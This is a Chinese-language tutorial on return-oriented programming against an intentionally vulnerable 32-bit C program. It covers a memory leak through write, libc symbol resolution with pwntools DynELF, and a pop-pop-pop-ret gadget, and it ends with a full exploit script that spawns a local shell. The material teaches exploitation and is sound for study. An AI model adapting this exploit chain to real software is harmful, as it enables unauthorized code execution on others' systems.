初探ROP攻擊 Memory Leak & DynELF
前言
通過洩露記憶體的方式可以獲取目標程式libc
中各函式的地址,這種攻擊方式可以繞過地址隨機化保護。
下文通過一個例子討論洩露記憶體的ROP攻擊,先看一個簡單的程式。
(ps.本文中的原始碼大家可以去我的Github中下載,連結在文章結尾。實踐才會出真知啊~)
程式原始碼
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256 );
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
通過以下命令編譯程式(編譯時關閉緩衝區溢位檢測,編譯為32位的程式)
$ gcc -m32 -fno-stack-protector -o 001 001.c
程式分析
read
函式這裡顯然存在一個快取區溢位的漏洞,buf
的長度是128
,read
函式讀取了256
位元組的資料,造成了緩衝區溢位。
程式001
執行的時候由於通過動態連結編譯,使用了libc
中的函式,我們可以通過 lld
$ ldd 001
不同的作業系統的libc
版本可能不同,不同版本libc
中函式的地址也不同。比如system
函式在libc 1.9.2
中的位置和libc 2.2.3
中的位置不同。
可以通過以下命令檢視自己作業系統中libc的版本
$ dpkg -l | grep libc
一般的作業系統預設開啟了地址隨機化的保護機制(可以通過checksec
檢視),程式每次執行的時候,載入到記憶體中的位置是隨機的。
如下圖,兩次使用ldd
檢視001
使用的共享庫,可以發現地址已經變化了。
$ ldd 001
但是程式執行的時候libc
已經載入到記憶體中了,這時libc
dump
出程式正在使用的libc
,從而找到libc
中system
函式的地址。
也就是說我們需要構造一個能洩露至少一位元組記憶體的payload:
'A' * N + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)
輸入N個字元後發生溢位,write_plt
的地址將會覆蓋read
函式的返回地址,隨後程式將會跳轉到write函式,我們在棧中構造了write
函式的3個引數
和返回地址
,這段payload相當於讓程式執行
write(1, address, 4);
這樣就可以dump
出記憶體中地址為address
處的4位元組
資料。
知道如何從記憶體中dump
資料後,便可以使用pwntools
中的DynELF
模組查詢system
函式,並獲取system
的地址。
攻擊過程
首先需要確定輸入多少字元時,溢位會發生
這裡可以使用pwntools
裡面的cyclic
工具生成字串
$ cyclic 1000
然後用GDB除錯001
,找到溢位點
最後,再次使用pwntools中的cyclic
查詢字串:
$ cyclic -l 0x6261616b
140
可以看到,第140位元組後的4個位元組會覆蓋read
函式的返回地址,所以洩露system
地址的payload如下:
'A' * 140 + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4)
現在分析一下,將上述payload傳送後,ret
指令將要執行時,棧中的情況,如圖:
構造leak
函式:
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
這段函式能從記憶體中address
處dump
出4位元組
資料,函式執行結束後會返回main
函式重新執行,也就是說利用這個函式,我們可以dump
出整個libc
使用DynELF
模組查詢system
函式地址:
d = DynELF(leak, elf=ELF('./001'))
system_addr= d.lookup('system', 'libc')
獲取到system
地址後便可以構造system("/bin/sh");
攻擊程式。由於程式中沒有/bin/sh
這個字串,我們可以用read
函式先它寫入記憶體中一個固定的位置,然後再執行system
函式
bss
段在記憶體中的位置是固定的,所以可以將/bin/sh
寫到bss
段中,payload如下:
'B' * 140 + p32(read_plt) + p(ret1) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + p32(ret2) + p32(bss_addr)
現在棧中的情況如圖:
我們構造的read
函式有3個引數
,這3個引數
和read函式的返回地址
不同,返回地址在ret指令執行時被pop
出棧,但是這3個引數卻還留在棧中,沒有被彈出棧,這回影響我們構造的下一個函式system
的執行,所以我們需要找一個連續pop三個暫存器的指令來平衡堆疊。這種指令很容易找到,如下:
$ objdump -d 001 | grep pop -C5
使用字串過濾的方法即可。
我們找的pop指令後面還需要帶有一個ret指令,這樣我們平衡堆疊後可以返回到我們構造的函式,如下圖所示:
我們可以選取 0x804850d - 0x8048510
這四條指令:
pop ebx; pop esi; pop ebp; ret
形如這樣的一串彙編指令也叫作gadgets
,在ROP攻擊中利用很廣泛。gadgets
散落在程式彙編程式碼的各個角落,當程式的程式碼很長的時候,尋找gadgets
就會變得很複雜,因此有人寫過工具專門用來尋找程式中的gadgets
,比如ROPgadgets
。
本文中找的gadgets
比較簡單,後續的文章中我會介紹尋找更加複雜的gadgets
,構造ROP鏈
攻擊程式。
漏洞利用指令碼
#!/usr/bin/python
from pwn import *
p = process('001')
elf = ELF('001')
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
main = elf.symbols['main']
def leak(address):
payload1 = "A" * 140 + p32(write_plt) + p32(main) + p32(1) + p32(address) + p32(4)
p.sendline(payload1)
data = p.recv(4)
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF('001'))
system_addr = d.lookup('system', 'libc')
log.info("system_addr = " + hex(system_addr))
bss_addr = elf.symbols['__bss_start']
pppr = 0x804850d
payload2 = "B" * 140 + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(main) + p32(bss_addr)
p.sendline(payload2)
p.sendline("/bin/sh\0")
p.interactive()
More
預告
下一篇部落格將介紹linux_x64中利用通用gadgets進行ROP攻擊